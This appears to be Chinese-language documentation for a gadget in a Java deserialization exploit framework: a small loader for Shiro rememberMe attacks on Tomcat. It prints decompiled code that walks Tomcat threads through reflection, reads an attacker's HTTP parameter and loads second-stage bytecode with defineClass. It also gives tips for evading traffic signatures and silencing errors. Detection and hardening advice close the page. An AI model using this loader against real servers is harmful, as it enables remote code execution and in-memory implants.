- 类别:
bytecode别名:— 优先级:— - 模板类(真正下发到目标执行的字节码):
- 作者:SummerSec
- 依赖:
@GadgetAnnotation未声明 Maven 依赖;但下发的模板字节码在目标运行期实际依赖org.apache.shiro:shiro-core(org.apache.shiro.codec.Base64)与 Tomcat 运行时(反射访问AbstractProtocol/Http11*内部字段)。 - 实现:
Gadget(无基类extends)
生成一段**「字节码分离加载器」的 class 字节码:把这段体积很小的加载器下发到目标并让其被加载后,它会在服务端线程中扫描出正在处理的 HTTP 请求,从指定请求参数里读取攻击者二次传入的大体积恶意字节码**,再 defineClass 定义并实例化。核心目的是绕过 Shiro rememberMe 反序列化场景下 payload 长度受限的问题——不把完整恶意类塞进受长度约束的序列化 payload,只塞一个几百字节的加载器,真正的载荷(内存马 / 命令执行类等)通过普通 HTTP 参数分离传入并落地执行。
- 入口
tags:Bytecode、Spring、ENDBytecode:本 gadget 是字节码源,产物为byte[](一段 class 字节码),交由上游字节码消费者加工/装载(如 BytecodeConvert 或 Spring 类加载型 sink)。Spring:面向 Spring 类加载环境——这段字节码通常经由 Spring 的字节码加载 sink(如SpringBeanXmlClassLoader)在目标 JVM 中被defineClass载入并触发其静态块。END:链尾终端 sink,自身产出最终产物、无更内层依赖(见下方invoke对doCreate返回值直接丢弃)。
- 衔接
nextTags:(无)—— 终端节点,其后不再衔接其它 gadget。 excludes:(无)
@GadgetTags(tags={"Bytecode", "Spring", "END"})
@GadgetAnnotation(name="Shiro下字节码分离加载",
description="适用于Shiro环境下字节码长度限制\n注意为了减少特征, 字节码中的 yv66vg 头部已在程序中指定, "
+ "在请求参数中携带字节码请求时需要去除这部分字符串, 并且需要对base64字符串进行url编码",
authors={"SummerSec"})
public class ShiroClassLoader implements Gadget {
@Param(name="请求参数名")
public String param = "data";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(ShiroClassLoaderBytecode.class);
javassistHelper.modifyStringField("param", this.param); // 把加载器读取的“请求参数名”写死进字节码
return javassistHelper.getBytecode(); // 返回被改写后的 class 字节码
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // 驱动内层,但返回值被丢弃 —— 故本节点为 END 终端
return this.getObject(); // 交出加载器字节码 byte[]
}
}逐段说明:
new JavassistHelper(ShiroClassLoaderBytecode.class)以模板类ShiroClassLoaderBytecode的原始字节码为蓝本;modifyStringField("param", this.param)用 Javassist 把模板中public static String param字段的初始值改写为用户配置的请求参数名(默认"data");getBytecode()返回改写后的byte[]。于是最终字节码里已「烧录」了加载器应从哪个 HTTP 参数取第二段代码。invoke虽调用chain.doCreate(context),但不使用其返回值——本 gadget 不包装任何内层对象,纯粹产出字节码,因此在链中是终端(END),产物由上游的字节码装载 sink 处理。
这段类被 defineClass 加载后,其静态初始化块 static {} 会立即运行(无需显式调用任何方法即可触发),逻辑是「找到当前 HTTP 请求 → 读参数 → 二次加载」:
public class ShiroClassLoaderBytecode {
public static String param; // 由外壳 modifyStringField 写死为“请求参数名”
// 沿父类链循环反射取任意字段(含私有),供穿透 Tomcat 内部对象使用
private static Object getFV(Object var0, String var1) throws Exception { /* ... setAccessible + get ... */ }
static {
try {
String var3 = null; // 用于承接读到的参数值
boolean var5 = false; // 命中标志
Thread[] var6 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
block4: for (int var7 = 0; var7 < var6.length; ++var7) {
Thread var8 = var6[var7];
String var2; Object var1;
// 只挑“HTTP 工作线程”:名字含 http、不含 exec,且 target 是 Runnable
if (var8 == null || (var2 = var8.getName()).contains("exec")
|| !var2.contains("http")
|| !((var1 = getFV(var8, "target")) instanceof Runnable)) continue;
try {
// 反射穿透 Tomcat:target -> this$0 -> handler -> global(AbstractProtocol)
var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
} catch (Exception e) { continue; }
List var10 = (List) getFV(var1, "processors"); // AbstractProtocol.processors
for (int var11 = 0; var11 < var10.size(); ++var11) {
Object var12 = var10.get(var11);
var1 = getFV(var12, "req"); // 处理器持有的内部 Request
Object var4 = var1.getClass().getMethod("getResponse").invoke(var1);
Object var13 = var1.getClass().getMethod("getNote", Integer.TYPE)
.invoke(var1, new Integer(1)); // Note(1) = 上层 Request/Response 门面
var3 = (String) var13.getClass().getMethod("getParameter", String.class)
.invoke(var13, param); // 读取攻击者参数(名字=param)
if (var3 != null && !var3.isEmpty()) {
byte[] var14 = Base64.decode((String) ("yv66vg" + var3)); // 关键:先补回 class 魔数头再解码
Method var15 = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var15.setAccessible(true);
Class var16 = (Class) var15.invoke(
ShiroClassLoaderBytecode.class.getClassLoader(),
var14, new Integer(0), new Integer(var14.length)); // 定义第二段类
var16.newInstance().equals(var13); // 实例化触发其构造/静态逻辑
var5 = true;
}
if (var5) continue block4;
}
}
} catch (Exception exception) {
// empty catch block —— 静默失败,不抛异常暴露自身
}
}
}关键点逐条解释:
- 无请求上下文取请求:加载器被 Spring/字节码 sink 加载时,并不处于当前 HTTP 请求线程,因此它主动枚举
ThreadGroup.threads,用线程名筛选出 Tomcat 的 HTTP 工作线程(名含http、排除exec),再通过target -> this$0 -> handler -> global -> processors -> req一路反射拿到内部Request对象。这是无RequestContextHolder场景下拿回显/取参的通用手法。 getNote(1):Tomcat 内部 coyoteRequest的getNote(1)返回与之绑定的上层门面对象,从而可调用getParameter(param)读取攻击者控制的 HTTP 参数值。"yv66vg" + var3—— 与元数据呼应的“分离/减特征”设计:所有 Java class 文件均以 4 字节魔数0xCAFEBABE开头,其 Base64 编码前缀恒为yv66vg。加载器在服务端主动补回这段固定前缀,因此攻击者在 HTTP 参数里传输的 Base64 可省去yv66vg头,既缩短长度也减少「Java 字节码」的流量特征——这正是description所述「为了减少特征,字节码中的 yv66vg 头部已在程序中指定……需要去除这部分字符串,并且需要对 base64 字符串进行 url 编码」。ClassLoader.defineClass反射调用:用当前类的 ClassLoader 定义第二段字节码为新类,newInstance()触发其构造/静态逻辑(真正的内存马注入或命令执行发生在这里)。- 整体
try/catch吞异常:任何反射失败都被静默忽略,避免加载器自身抛栈暴露。
同目录 ShiroClassLoader2 结构完全一致,唯一区别在模板解码行:
- 本类(
ShiroClassLoader):Base64.decode("yv66vg" + var3)—— 服务端补魔数头,攻击者传输时去掉yv66vg。 ShiroClassLoader2:Base64.decode(var3)—— 传入完整 Base64,其description仅要求「POST 传入字节码参数时,需要对 base64 字符串进行 url 编码」。
| 字段 | 名称 | 说明 | 类型 | 默认 | 可选值 |
|---|---|---|---|---|---|
param |
请求参数名 | 加载器在目标运行时读取「第二段字节码」所用的 HTTP 参数名;会被 Javassist 写死进下发的字节码 | String |
data |
—(自由填写) |
- 适用场景:Shiro rememberMe 反序列化(如 Shiro-550 默认 AES 密钥、Shiro-721 padding oracle)等payload 长度受限的入口,配合 Tomcat 容器。加载器依赖 Tomcat 的
AbstractProtocol.processors/Request内部结构与org.apache.shiro.codec.Base64,故目标须为 Tomcat + Shiro 环境。 - 两段式(分离加载):第一段仅为轻量加载器(放进受限 payload);第二段(真正的大字节码)走普通 HTTP 参数二次投递,因而不受序列化长度约束。
- 传输约定:第二段 Base64 需去掉
yv66vg前缀并做 URL 编码(+///=等在 URL 中需转义),否则解码/参数解析会出错。 - JDK 相关:
ClassLoader.defineClass经setAccessible(true)反射调用,在 JDK 较高版本(模块化、强封装 JDK 16/17+)可能被反射访问限制拦截;线程遍历与 Tomcat 内部字段名亦随容器版本变化而可能失配(代码对失配采用continue/吞异常的容错处理)。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可按标签自由组合:作为 Bytecode/Spring 字节码源,接入 Spring 类加载或 BytecodeConvert 等装载 sink,构成 Shiro 长度受限场景下的落地链。
- 同族变体:ShiroClassLoader2(传完整 Base64,不补
yv66vg头)。 - 上游装载:BytecodeConvert(消费
Bytecode标签,把字节码加工为可装载形式)。 - 同类回显/加载 sink(
tags含Bytecode):TomcatEcho 等 echo 系列,均以JavassistHelper.modifyStringField改写模板字段的方式生成字节码。 - Shiro 场景配套:ModifyShiroKey(Shiro 密钥相关)。
检测特征
- HTTP 请求参数中出现大段 Base64 且 URL 编码的值,尤其解码后以
0xCAFEBABE开头、或去头后需补yv66vg才能构成合法 class(魔数分离是本 gadget 的强指纹)。 - 服务端线程/类加载异常:非请求线程中出现对
ThreadGroup.threads、target/this$0/handler/global/processors/req等 Tomcat 内部字段的反射访问,以及对ClassLoader.defineClass的反射setAccessible调用。 - Shiro 侧:
rememberMeCookie 触发反序列化后紧接着同一会话/来源发起携带大 Base64 参数的请求(两段式时间关联)。 - 被加载类通常无稳定类名、无磁盘落地(内存态
defineClass),可结合「新类定义来源不明 + 无对应 .class 文件」告警。
加固建议
- 修复 Shiro 反序列化根因:升级 shiro-core,更换默认/泄露的 rememberMe AES 密钥,必要时关闭 rememberMe;对反序列化入口启用类白名单(如 SerialKiller / JEP 290
ObjectInputFilter)。 - 运行时防护:用 RASP/安全 Agent 挂钩
ClassLoader.defineClass、Method.setAccessible,拦截来自请求处理链之外的动态类定义;对 Tomcat 内部对象的异常反射访问告警。 - 流量侧:WAF 对参数值做 Base64 解码探测,命中 class 魔数(含
yv66vg去头场景)即拦截;限制单个参数长度与内容类型。 - 收敛容器暴露面:避免以高权限运行、开启 SecurityManager/模块强封装(高版本 JDK)以增加反射穿透 Tomcat 内部结构的难度。
反编译源码溯源:、;机器可读元数据:
../../index/gadgets.json。